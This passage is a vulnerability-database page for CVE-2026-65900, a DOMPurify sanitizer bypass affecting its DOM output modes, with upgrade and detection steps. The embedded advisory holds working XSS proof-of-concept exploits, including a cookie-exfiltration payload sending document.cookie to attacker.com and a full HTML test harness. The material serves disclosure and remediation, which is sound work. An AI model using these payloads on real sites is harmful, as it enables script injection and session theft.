CVE-2026-65900: DOMPurify SAFE_FOR_TEMPLATES Bypass - Template Expressions Vulnerability
LOWCVE-2026-65900 is a LOW safe_for_templates bypass - template expressions vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting DOMPurify libraries in the npm ecosystem. The issue involves safe_for_templates bypass - template expressions survive sanitization inside <template> content when using dom output modes. Remediation is available by upgrading affected packages to version 3.4.8.
CVE-2026-65900 at a Glance
How to Fix CVE-2026-65900
To remediate this vulnerability, upgrade all affected DOMPurify dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install dompurify@3.4.8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls dompurify
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-65900, inspect your project dependencies using npm:
npm ls dompurify
Analyze the terminal output to locate any version of DOMPurify in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.4.8), your application is affected.
Note: The npm ls dompurify command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In DOMPurify, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-65900 Affected DOMPurify Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dompurify
|
npm |
≥ 3.0.0
< 3.4.8
|
3.4.8
|
References
Frequently Asked Questions
What is CVE-2026-65900?
Which DOMPurify versions are affected?
What version fixes CVE-2026-65900?
Is dompurify affected?
What CWE is associated with CVE-2026-65900?
How can I check npm dependencies for CVE-2026-65900?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gvmj-g25r-r7wr",
"modified" : "2026-07-23T14:00:07Z",
"published" : "2026-06-15T20:02:40Z",
"aliases" : [ "CVE-2026-65900" ],
"summary" : "DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside <template> content when using DOM output modes",
"details" : "## Summary\n\nWhen DOMPurify is configured with both `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `IN_PLACE: true`), an attacker can inject template expressions, such as `${evil}`, `{{evil}}`, or `<%evil%>`, that survive the sanitization pass inside `<template>` element content. This bypasses the explicit purpose of `SAFE_FOR_TEMPLATES`, which is to prevent template engine evaluation of user-supplied content.\n\n> **Note:** The string output path is **not** affected. Only the DOM return paths (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, `IN_PLACE: true`) are vulnerable.\n\n---\n\n## Description\n\n### Background\n\n`SAFE_FOR_TEMPLATES` is designed to strip `{{ }}`, `${ }`, and `<% %>` expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:\n\n1. **Per-node scrubbing** (`_sanitizeElements`, `src/purify.ts:1403`), scrubs individual text nodes during the main sanitization walk.\n2. **Final normalization pass** (`_scrubTemplateExpressions`, `src/purify.ts:1115`), calls `node.normalize()` to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.\n\n### The Gap\n\n`_scrubTemplateExpressions` uses a standard `NodeIterator` rooted at the output body:\n\n```ts\n// src/purify.ts:1117\nconst walker = createNodeIterator.call(\n node.ownerDocument || node,\n node,\n NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,\n null\n);\n```\n\nPer the DOM specification, a `NodeIterator` does **not** descend into `<template>.content`. The template element's content is a separate `DocumentFragment` that lives outside the normal child-node tree. For the same reason, `node.normalize()` (called on line 1116) also **does not** normalize text nodes inside `<template>.content`.\n\nThis means the final normalization and scrub pass, the only pass that catches expressions formed *by merging split text nodes*, never runs on `<template>` content.\n\n### How Split Text Nodes Are Created\n\nWhen DOMPurify removes a disallowed element with `KEEP_CONTENT: true` (the default), it moves the element's text children into the parent node. This is the standard code path at `src/purify.ts:1361–1373`:\n\n```ts\nif (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {\n const parentNode = getParentNode(currentNode);\n const childNodes = getChildNodes(currentNode);\n if (childNodes && parentNode) {\n for (let i = childCount - 1; i >= 0; --i) {\n const childClone = cloneNode(childNodes[i], true);\n parentNode.insertBefore(childClone, getNextSibling(currentNode));\n }\n }\n}\n```\n\nIf the removed elements were adjacent siblings inside `<template>` content, their extracted text nodes end up as **adjacent text nodes** in the template content fragment. Each individual text node is scrubbed by `_sanitizeElements`, but since `$` and `{evil}` do not match any expression regex on their own, neither is modified.\n\nThe code comment at `src/purify.ts:1100` explicitly acknowledges the threat class:\n\n> *\"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework.\"*\n\nThe implementation guards against this on the main body, but the guard is **not** applied to `<template>` content.\n\n---\n\n## Proof of Concept\n\n### Why the Split Works\n\nThe bypass relies on splitting `${...}` across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:\n\n| Fragment | Against `TMPLIT_EXPR` `/\\${[\\w\\W]*/g` | Against `MUSTACHE_EXPR` `/{{[\\w\\W]*\\|^[\\w\\W]*}}/g` | Result |\n|---|---|---|---|\n| `$` | Requires `${` - no `{` follows | No `{{` or `}}` | **Survives** |\n| `{alert(document.domain)}` | Requires leading `$` - absent | No `{{`, ends with single `}` not `}}` | **Survives** |\n| `${alert(document.domain)}` | Full match - would be stripped | - | Stripped if seen whole |\n\nDOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.\n\n---\n\n### PoC 1 - XSS via `alert()` (baseline confirmation)\n\n```javascript\n// Attacker input - splits \"${alert(document.domain)}\" across two custom elements.\n// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,\n// but their text content is kept (KEEP_CONTENT: true is the default).\nconst dirty =\n '<template>' +\n '<x-split-1>$</x-split-1>' +\n '<x-split-2>{alert(document.domain)}</x-split-2>' +\n '</template>';\n\n// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}\nconst sanitized = DOMPurify.sanitize(dirty, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n});\n\n// Inspect what survived inside the <template>\nconst tmpl = sanitized.querySelector('template');\nconsole.log([...tmpl.content.childNodes].map(n => n.nodeValue));\n// [\"$\", \"{alert(document.domain)}\"] <-- two separate text nodes, both \"clean\"\n\n// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()\n// before reading template content. This merges the adjacent nodes:\ntmpl.content.normalize();\nconsole.log(tmpl.content.textContent);\n// \"${alert(document.domain)}\" <-- fully formed expression, past the sanitizer\n\n// Any template-literal evaluator now fires XSS:\nconst expr = tmpl.content.textContent;\nnew Function(`return \\`${expr}\\``)();\n// !! alert(document.domain) executes !!\n```\n\n---\n\n### PoC 2 - Session Hijacking via cookie exfiltration\n\n```javascript\n// Splits \"${document.location='//attacker.com/?c='+document.cookie}\"\n// \"{document.location=...}\" ends with a single \"}\" — does NOT match\n// MUSTACHE_EXPR's \"^[\\w\\W]*}}\" (requires double \"}}\"), so it survives.\nconst dirty =\n '<template>' +\n '<x-a>$</x-a>' +\n '<x-b>{document.location=\"//attacker.com/?c=\"+document.cookie}</x-b>' +\n '</template>';\n\nconst sanitized = DOMPurify.sanitize(dirty, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n});\n\nconst tmpl = sanitized.querySelector('template');\ntmpl.content.normalize();\n\nconsole.log(tmpl.content.textContent);\n// \"${document.location=\"//attacker.com/?c=\"+document.cookie}\"\n\n// Template engine evaluates it - victim's browser makes the request:\nnew Function(`return \\`${tmpl.content.textContent}\\``)();\n// !! Redirects victim to attacker.com with their full cookie string !!\n// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789\n```\n\n---\n\n### PoC 3 - End-to-end: realistic application context\n\nThis shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:\n\n```html\n<!-- index.html - the vulnerable application -->\n<div id=\"output\"></div>\n<script type=\"module\">\n import DOMPurify from './dist/purify.es.mjs';\n\n // Simulates fetching and rendering user-submitted comment\n async function renderComment(userHtml) {\n // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine\n const dom = DOMPurify.sanitize(userHtml, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n // Application iterates <template> elements and evaluates their content\n // (common pattern in component-based frameworks)\n dom.querySelectorAll('template').forEach(tmpl => {\n tmpl.content.normalize(); // standard DOM housekeeping\n const content = tmpl.content.textContent;\n\n // Application uses template literals to interpolate user content into UI\n const rendered = new Function('user', `return \\`${content}\\``)({ name: 'World' });\n document.getElementById('output').innerHTML += rendered;\n });\n }\n\n // Attacker-supplied comment content\n const attackerComment =\n '<template>' +\n '<x-a>$</x-a>' +\n '<x-b>{alert(\"XSS: \" + document.cookie)}</x-b>' +\n '</template>';\n\n // Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM\n renderComment(attackerComment);\n // !! XSS fires, alert pops with session cookies !!\n</script>\n```\n\n**Observed output:** `alert(\"XSS: \" + document.cookie)` executes in the victim's browser context, leaking session tokens to the attacker.\n\n---\n\n### PoC 4 - `IN_PLACE` mode (DOM input path)\n\n```javascript\n// Applicable when the application sanitizes DOM nodes directly\n// (e.g., content loaded into an iframe or received from a WebSocket)\n\nconst container = document.createElement('div');\nconst tmpl = document.createElement('template');\n\n// Adjacent text nodes - these would never appear in HTML-parsed content,\n// but CAN appear in programmatically constructed DOM or WebSocket messages\n// that are deserialised into DOM nodes before sanitisation.\ntmpl.content.appendChild(document.createTextNode('$'));\ntmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));\ncontainer.appendChild(tmpl);\n\n// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}\nDOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\n// Neither text node was modified - each passed the regex check individually\ncontainer.querySelector('template').content.normalize();\nconsole.log(container.querySelector('template').content.textContent);\n// \"${alert(document.domain)}\" <-- survived in-place sanitization\n\nnew Function(`return \\`${container.querySelector('template').content.textContent}\\``)();\n// !! XSS fires !!\n```\n\nHTML File for testing\n```HTML\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\" />\n <title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title>\n <script src=\"dist/purify.js\"></script>\n <style>\n * { box-sizing: border-box; margin: 0; padding: 0; }\n body {\n font-family: 'Segoe UI', system-ui, sans-serif;\n background: #0d1117;\n color: #e6edf3;\n padding: 32px;\n }\n h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }\n .subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }\n .card {\n background: #161b22;\n border: 1px solid #30363d;\n border-radius: 8px;\n margin-bottom: 24px;\n overflow: hidden;\n }\n .card-header {\n display: flex;\n align-items: center;\n gap: 10px;\n padding: 14px 20px;\n border-bottom: 1px solid #30363d;\n background: #1c2128;\n }\n .badge {\n font-size: 0.72rem;\n font-weight: 700;\n padding: 2px 8px;\n border-radius: 4px;\n text-transform: uppercase;\n letter-spacing: 0.05em;\n }\n .badge-run { background: #1f6feb; color: #fff; }\n .badge-pass { background: #238636; color: #fff; }\n .badge-fail { background: #da3633; color: #fff; }\n .badge-warn { background: #9e6a03; color: #fff; }\n .card-title { font-size: 0.95rem; font-weight: 600; }\n .card-body { padding: 20px; }\n label { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }\n pre {\n background: #0d1117;\n border: 1px solid #30363d;\n border-radius: 6px;\n padding: 14px;\n font-size: 0.82rem;\n line-height: 1.6;\n overflow-x: auto;\n margin-bottom: 14px;\n white-space: pre-wrap;\n word-break: break-all;\n }\n pre.result { border-color: #238636; background: #0a1a0f; }\n pre.escaped { border-color: #da3633; background: #1a0a0a; }\n pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }\n .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }\n @media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }\n .arrow {\n text-align: center;\n font-size: 1.4rem;\n color: #8b949e;\n margin: 4px 0;\n }\n .xss-banner {\n display: none;\n background: #da3633;\n color: #fff;\n text-align: center;\n padding: 16px;\n font-size: 1.1rem;\n font-weight: 700;\n border-radius: 6px;\n margin-bottom: 24px;\n letter-spacing: 0.03em;\n }\n button {\n background: #238636;\n color: #fff;\n border: none;\n padding: 10px 22px;\n border-radius: 6px;\n font-size: 0.9rem;\n font-weight: 600;\n cursor: pointer;\n margin-right: 10px;\n margin-bottom: 8px;\n }\n button:hover { background: #2ea043; }\n button.danger { background: #da3633; }\n button.danger:hover { background: #f85149; }\n .note {\n background: #161b22;\n border-left: 3px solid #9e6a03;\n padding: 12px 16px;\n font-size: 0.82rem;\n color: #e3b341;\n border-radius: 0 6px 6px 0;\n margin-top: 14px;\n }\n #log {\n background: #0d1117;\n border: 1px solid #30363d;\n border-radius: 6px;\n padding: 14px;\n font-size: 0.8rem;\n font-family: monospace;\n min-height: 60px;\n max-height: 300px;\n overflow-y: auto;\n line-height: 1.8;\n }\n .log-ok { color: #3fb950; }\n .log-fail { color: #f85149; }\n .log-info { color: #8b949e; }\n .log-warn { color: #e3b341; }\n </style>\n</head>\n<body>\n\n <h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1>\n <p class=\"subtitle\">\n CVE candidate · Template expression injection via <template> content ·\n Affects: <code>RETURN_DOM + SAFE_FOR_TEMPLATES</code> and <code>IN_PLACE + SAFE_FOR_TEMPLATES</code>\n </p>\n\n <div id=\"xss-banner\" class=\"xss-banner\">\n ⚠️ XSS CONFIRMED - Expression executed in this page's context\n </div>\n\n <!-- ── Controls ─────────────────────────────────────────── -->\n <div class=\"card\">\n <div class=\"card-header\">\n <span class=\"badge badge-run\">Controls</span>\n <span class=\"card-title\">Run individual test cases</span>\n </div>\n <div class=\"card-body\">\n <button onclick=\"runAll()\">▶ Run all tests</button>\n <button onclick=\"runPoC1()\">PoC 1 - alert()</button>\n <button onclick=\"runPoC2()\">PoC 2 - cookie exfil</button>\n <button onclick=\"runPoC3()\">PoC 3 - IN_PLACE</button>\n <button onclick=\"runControl()\">Control - string output (should block)</button>\n <div class=\"note\">\n PoC 1 uses <code>confirm()</code> instead of <code>alert()</code> so the page\n doesn't need a dismiss click to continue. Watch the red banner at the top.\n </div>\n </div>\n </div>\n\n <!-- ── PoC 1 ─────────────────────────────────────────────── -->\n <div class=\"card\" id=\"card-poc1\">\n <div class=\"card-header\">\n <span class=\"badge badge-run\" id=\"badge-poc1\">PENDING</span>\n <span class=\"card-title\">PoC 1 - XSS via confirm() · RETURN_DOM mode</span>\n </div>\n <div class=\"card-body\">\n <div class=\"grid\">\n <div>\n <label>ATTACKER INPUT - splits <code>${\"{confirm(...)}\"}</code> across two custom elements</label>\n <pre id=\"input-poc1\"></pre>\n </div>\n <div>\n <label>AFTER DOMPurify.sanitize() - what survived in template.content</label>\n <pre class=\"result\" id=\"nodes-poc1\"></pre>\n </div>\n </div>\n <div class=\"arrow\">↓ template.content.normalize() ↓</div>\n <label>MERGED TEXT NODE - fully formed expression after normalization</label>\n <pre class=\"highlight\" id=\"merged-poc1\"></pre>\n <label>EXECUTION RESULT</label>\n <pre id=\"exec-poc1\">Not run yet</pre>\n </div>\n </div>\n\n <!-- ── PoC 2 ─────────────────────────────────────────────── -->\n <div class=\"card\" id=\"card-poc2\">\n <div class=\"card-header\">\n <span class=\"badge badge-run\" id=\"badge-poc2\">PENDING</span>\n <span class=\"card-title\">PoC 2 - Cookie exfiltration · RETURN_DOM mode</span>\n </div>\n <div class=\"card-body\">\n <div class=\"grid\">\n <div>\n <label>ATTACKER INPUT - exfil payload split across custom elements</label>\n <pre id=\"input-poc2\"></pre>\n </div>\n <div>\n <label>INDIVIDUAL TEXT NODES after sanitization (each \"clean\")</label>\n <pre class=\"result\" id=\"nodes-poc2\"></pre>\n </div>\n </div>\n <div class=\"arrow\">↓ template.content.normalize() ↓</div>\n <label>MERGED EXPRESSION - what a template engine would evaluate</label>\n <pre class=\"highlight\" id=\"merged-poc2\"></pre>\n <label>SIMULATED EXECUTION (fetch URL that would be called)</label>\n <pre id=\"exec-poc2\">Not run yet</pre>\n <div class=\"note\">\n Real execution would redirect the victim to\n <code>attacker.com</code> carrying the session cookie.\n This PoC constructs the URL without actually sending it.\n </div>\n </div>\n </div>\n\n <!-- ── PoC 3 ─────────────────────────────────────────────── -->\n <div class=\"card\" id=\"card-poc3\">\n <div class=\"card-header\">\n <span class=\"badge badge-run\" id=\"badge-poc3\">PENDING</span>\n <span class=\"card-title\">PoC 3 - XSS · IN_PLACE mode (DOM node input)</span>\n </div>\n <div class=\"card-body\">\n <div class=\"grid\">\n <div>\n <label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label>\n <pre id=\"input-poc3\"></pre>\n </div>\n <div>\n <label>AFTER IN_PLACE sanitization - text nodes unchanged</label>\n <pre class=\"result\" id=\"nodes-poc3\"></pre>\n </div>\n </div>\n <div class=\"arrow\">↓ template.content.normalize() ↓</div>\n <label>MERGED EXPRESSION</label>\n <pre class=\"highlight\" id=\"merged-poc3\"></pre>\n <label>EXECUTION RESULT</label>\n <pre id=\"exec-poc3\">Not run yet</pre>\n </div>\n </div>\n\n <!-- ── Control ───────────────────────────────────────────── -->\n <div class=\"card\" id=\"card-ctrl\">\n <div class=\"card-header\">\n <span class=\"badge badge-run\" id=\"badge-ctrl\">PENDING</span>\n <span class=\"card-title\">Control - string output (default) MUST block the payload</span>\n </div>\n <div class=\"card-body\">\n <label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label>\n <pre id=\"input-ctrl\"></pre>\n <div class=\"arrow\">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓</div>\n <label>OUTPUT STRING - expression should be stripped</label>\n <pre id=\"output-ctrl\">Not run yet</pre>\n <div class=\"note\">\n The string output path is NOT vulnerable because\n <code>body.innerHTML</code> serialises the template content into a\n flat string where the full <code>${\"{...}\"}</code> expression is visible\n and the final regex scrub catches it.\n </div>\n </div>\n </div>\n\n <!-- ── Log ───────────────────────────────────────────────── -->\n <div class=\"card\">\n <div class=\"card-header\">\n <span class=\"badge badge-run\">Log</span>\n <span class=\"card-title\">Test output</span>\n </div>\n <div class=\"card-body\">\n <div id=\"log\"></div>\n </div>\n </div>\n\n<script>\n// ── Helpers ────────────────────────────────────────────────────────────────\n\nlet xssConfirmed = false;\n\nfunction log(msg, type = 'info') {\n const el = document.getElementById('log');\n const line = document.createElement('div');\n line.className = 'log-' + type;\n line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;\n el.appendChild(line);\n el.scrollTop = el.scrollHeight;\n}\n\nfunction setBadge(id, status) {\n const el = document.getElementById('badge-' + id);\n el.textContent = status;\n el.className = 'badge ' + {\n PASS: 'badge-fail', // \"PASS\" here means the attack succeeded (bad for security)\n BLOCK: 'badge-pass', // \"BLOCK\" means DOMPurify correctly blocked it\n PENDING: 'badge-run',\n ERROR: 'badge-warn',\n }[status];\n}\n\nfunction markXSS(poc) {\n if (!xssConfirmed) {\n xssConfirmed = true;\n document.getElementById('xss-banner').style.display = 'block';\n }\n log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');\n}\n\n// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────\n\nfunction runPoC1() {\n log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');\n\n // IMPORTANT:\n // Build a REAL template DOM node with split TEXT nodes.\n // HTML parsing would merge adjacent text automatically,\n // so we construct the DOM programmatically.\n\n const container = document.createElement('div');\n const tmpl = document.createElement('template');\n\n tmpl.content.appendChild(document.createTextNode('$'));\n tmpl.content.appendChild(\n document.createTextNode(\n '{confirm(\"XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\\\nExpression executed in: \" + document.domain)}'\n )\n );\n\n container.appendChild(tmpl);\n\n document.getElementById('input-poc1').textContent =\n 'template.content.childNodes[0].data = \"$\"\\\\n' +\n 'template.content.childNodes[1].data = \"{confirm(...)}\"';\n\n // Sanitize the DOM node itself\n const sanitized = DOMPurify.sanitize(container, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n const tmplAfter = sanitized.querySelector('template');\n\n if (!tmplAfter) {\n document.getElementById('exec-poc1').textContent =\n 'Template element removed during sanitization';\n setBadge('poc1', 'ERROR');\n return;\n }\n\n const nodesBefore = [...tmplAfter.content.childNodes].map(\n n => JSON.stringify(n.nodeValue)\n );\n\n document.getElementById('nodes-poc1').textContent =\n 'childNodes[0].data = ' + nodesBefore[0] + '\\\\n' +\n 'childNodes[1].data = ' + nodesBefore[1] + '\\\\n\\\\n' +\n '→ Neither fragment matched individually.';\n\n log(\n 'PoC 1: Text nodes after sanitization: ' +\n nodesBefore.join(', '),\n 'warn'\n );\n\n // Merge text nodes\n tmplAfter.content.normalize();\n\n const merged = tmplAfter.content.textContent;\n\n document.getElementById('merged-poc1').textContent = merged;\n\n log('PoC 1: After normalize() - merged text: ' + merged, 'warn');\n\n try {\n const result = new Function('return `' + merged + '`')();\n\n document.getElementById('exec-poc1').textContent =\n '✔ Expression executed successfully\\\\n' +\n 'Returned: ' + result;\n\n setBadge('poc1', 'PASS');\n markXSS('PoC 1');\n\n } catch (e) {\n document.getElementById('exec-poc1').textContent =\n 'Error: ' + e.message;\n\n setBadge('poc1', 'ERROR');\n\n log('PoC 1 error: ' + e.message, 'warn');\n }\n}\n\n// ── PoC 2: cookie exfiltration ─────────────────────────────────────────────\n\nfunction runPoC2() {\n log('Running PoC 2 - cookie exfiltration...', 'info');\n\n // Fake cookie for demonstration\n document.cookie = 'session=DEADBEEF_SECRET_TOKEN; path=/';\n\n // IMPORTANT:\n // Build REAL split text nodes programmatically.\n // Do NOT rely on HTML parsing.\n\n const container = document.createElement('div');\n const tmpl = document.createElement('template');\n\n tmpl.content.appendChild(document.createTextNode('$'));\n\n tmpl.content.appendChild(\n document.createTextNode(\n '{document.location=\"//attacker.com/steal?c=\"+document.cookie}'\n )\n );\n\n container.appendChild(tmpl);\n\n document.getElementById('input-poc2').textContent =\n 'template.content.childNodes[0].data = \"$\"\\\\n' +\n 'template.content.childNodes[1].data = \"{document.location=...}\"';\n\n // Sanitize DOM node\n const sanitized = DOMPurify.sanitize(container, {\n RETURN_DOM: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n const tmplAfter = sanitized.querySelector('template');\n\n if (!tmplAfter) {\n document.getElementById('exec-poc2').textContent =\n 'Template element removed during sanitization';\n\n setBadge('poc2', 'ERROR');\n\n log('PoC 2: template element missing after sanitize()', 'warn');\n\n return;\n }\n\n const nodes = [...tmplAfter.content.childNodes].map(\n n => JSON.stringify(n.nodeValue)\n );\n\n document.getElementById('nodes-poc2').textContent =\n 'Node 0: ' + nodes[0] + '\\\\n' +\n 'Node 1: ' + nodes[1] + '\\\\n\\\\n' +\n '→ Neither fragment individually matches template-expression regexes.';\n\n log('PoC 2: Nodes after sanitize: ' + nodes.join(', '), 'warn');\n\n // Merge adjacent text nodes\n tmplAfter.content.normalize();\n\n const merged = tmplAfter.content.textContent;\n\n document.getElementById('merged-poc2').textContent = merged;\n\n log('PoC 2: Merged expression: ' + merged, 'warn');\n\n // Simulate framework evaluation\n try {\n new Function('return `' + merged + '`')();\n\n const cookieValue = document.cookie;\n\n const stealUrl =\n '//attacker.com/steal?c=' +\n encodeURIComponent(cookieValue);\n\n document.getElementById('exec-poc2').textContent =\n '✔ Expression successfully evaluated\\\\n\\\\n' +\n 'Would redirect victim to:\\\\n' +\n stealUrl + '\\\\n\\\\n' +\n 'Cookie exposed:\\\\n' +\n cookieValue;\n\n setBadge('poc2', 'PASS');\n\n markXSS('PoC 2');\n\n log('PoC 2: Would exfiltrate cookie → ' + stealUrl, 'fail');\n\n } catch (e) {\n document.getElementById('exec-poc2').textContent =\n 'Error: ' + e.message;\n\n setBadge('poc2', 'ERROR');\n\n log('PoC 2 error: ' + e.message, 'warn');\n }\n}\n// ── PoC 3: IN_PLACE mode ───────────────────────────────────────────────────\n\nfunction runPoC3() {\n log('Running PoC 3 - IN_PLACE mode...', 'info');\n\n // Build DOM node manually (simulates attacker-controlled DOM input,\n // e.g. content parsed from a WebSocket message or an iframe)\n const container = document.createElement('div');\n const tmplEl = document.createElement('template');\n\n // Two separate text nodes - HTML parser merges them, but programmatic\n // DOM construction keeps them split. This is the IN_PLACE attack surface.\n tmplEl.content.appendChild(document.createTextNode('$'));\n tmplEl.content.appendChild(document.createTextNode('{confirm(\"XSS via IN_PLACE - domain: \" + document.domain)}'));\n container.appendChild(tmplEl);\n\n document.getElementById('input-poc3').textContent =\n '// Programmatically constructed DOM node:\\n' +\n 'template.content.childNodes[0].data = \"$\"\\n' +\n 'template.content.childNodes[1].data = \"{confirm(\\\\\"XSS via IN_PLACE...\\\\\")}\"\\n\\n' +\n '// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })';\n\n // Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression\n DOMPurify.sanitize(container, {\n IN_PLACE: true,\n SAFE_FOR_TEMPLATES: true,\n });\n\n const tmplAfter = container.querySelector('template');\n const nodesAfter = [...tmplAfter.content.childNodes].map(n => n.nodeValue);\n document.getElementById('nodes-poc3').textContent =\n 'childNodes[0].data = ' + JSON.stringify(nodesAfter[0]) + '\\n' +\n 'childNodes[1].data = ' + JSON.stringify(nodesAfter[1]) + '\\n\\n' +\n '→ _scrubTemplateExpressions() did not enter template.content\\n' +\n '→ Both nodes unchanged after sanitization.';\n\n log('PoC 3: Nodes after IN_PLACE sanitize: ' + nodesAfter.map(n => JSON.stringify(n)).join(', '), 'warn');\n\n tmplAfter.content.normalize();\n const merged = tmplAfter.content.textContent;\n document.getElementById('merged-poc3').textContent = merged;\n\n log('PoC 3: Merged: ' + merged, 'warn');\n\n try {\n const result = new Function('return `' + merged + '`')();\n document.getElementById('exec-poc3').textContent =\n '✔ new Function() returned: ' + result + '\\n' +\n 'confirm() dialog shown. XSS confirmed via IN_PLACE mode.';\n setBadge('poc3', 'PASS');\n markXSS('PoC 3');\n } catch (e) {\n document.getElementById('exec-poc3').textContent = 'Error: ' + e.message;\n setBadge('poc3', 'ERROR');\n log('PoC 3 error: ' + e.message, 'warn');\n }\n}\n\n// ── Control: string output must block ─────────────────────────────────────\n\nfunction runControl() {\n log('Running control - string output path (should block)...', 'info');\n\n const dirty =\n '<template>' +\n '<x-split-1>$</x-split-1>' +\n '<x-split-2>{confirm(\"this should never fire\")}</x-split-2>' +\n '</template>';\n\n document.getElementById('input-ctrl').textContent = dirty;\n\n // Default string output - NOT using RETURN_DOM\n const sanitized = DOMPurify.sanitize(dirty, {\n SAFE_FOR_TEMPLATES: true,\n // RETURN_DOM intentionally omitted - string path is safe\n });\n\n document.getElementById('output-ctrl').textContent = sanitized;\n\n const blocked = !sanitized.includes('${') && !sanitized.includes('{confirm');\n if (blocked) {\n setBadge('ctrl', 'BLOCK');\n log('Control: String output correctly stripped the expression. Output: ' + sanitized, 'ok');\n } else {\n setBadge('ctrl', 'PASS'); // unexpected\n log('Control: UNEXPECTED - expression survived string output path: ' + sanitized, 'fail');\n }\n}\n\n// ── Run all ────────────────────────────────────────────────────────────────\n\nfunction runAll() {\n document.getElementById('log').innerHTML = '';\n xssConfirmed = false;\n document.getElementById('xss-banner').style.display = 'none';\n log('=== Starting full test run ===', 'info');\n runPoC1();\n runPoC2();\n runPoC3();\n runControl();\n log('=== Test run complete ===', 'info');\n}\n</script>\n\n</body>\n</html>\n\n\n```\n\n\n---\n\n## Root Cause\n\n`_scrubTemplateExpressions` (`src/purify.ts:1115`) does not recurse into `<template>.content`:\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n node.normalize(); // Does NOT normalize inside <template>.content (DOM spec)\n const walker = createNodeIterator.call(\n node.ownerDocument || node,\n node, // NodeIterator does NOT enter <template>.content\n NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |\n NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,\n null\n );\n // Scrubs nodes it finds, but never sees <template> content\n};\n```\n\nThe fix is to extend `_scrubTemplateExpressions` to explicitly recurse into `<template>.content`, mirroring the approach already used by `_sanitizeShadowDOM` (`src/purify.ts:1753`):\n\n```ts\nif (_isDocumentFragment(shadowNode.content)) {\n _sanitizeShadowDOM(shadowNode.content); // already handles recursion\n}\n```\n\n### Suggested Patch Direction\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n node.normalize();\n const walker = createNodeIterator.call( /* existing args */ );\n\n // ... existing scrub loop ...\n\n // NEW: recurse into <template>.content, mirroring _sanitizeShadowDOM\n const templates = (node as Element).querySelectorAll?.('template') ?? [];\n arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) => {\n if (_isDocumentFragment(tmpl.content)) {\n _scrubTemplateExpressions(tmpl.content as unknown as Element);\n }\n });\n};\n```\n\n---\n\n## Impact\n\n**Who is affected:** Applications that use DOMPurify with `SAFE_FOR_TEMPLATES: true` combined with `RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`, whose downstream template engine processes `<template>` element content.\n\n**What an attacker can achieve:** Inject arbitrary template expressions (`${...}`, `{{...}}`, `<%...%>`) into the sanitized DOM output inside `<template>` 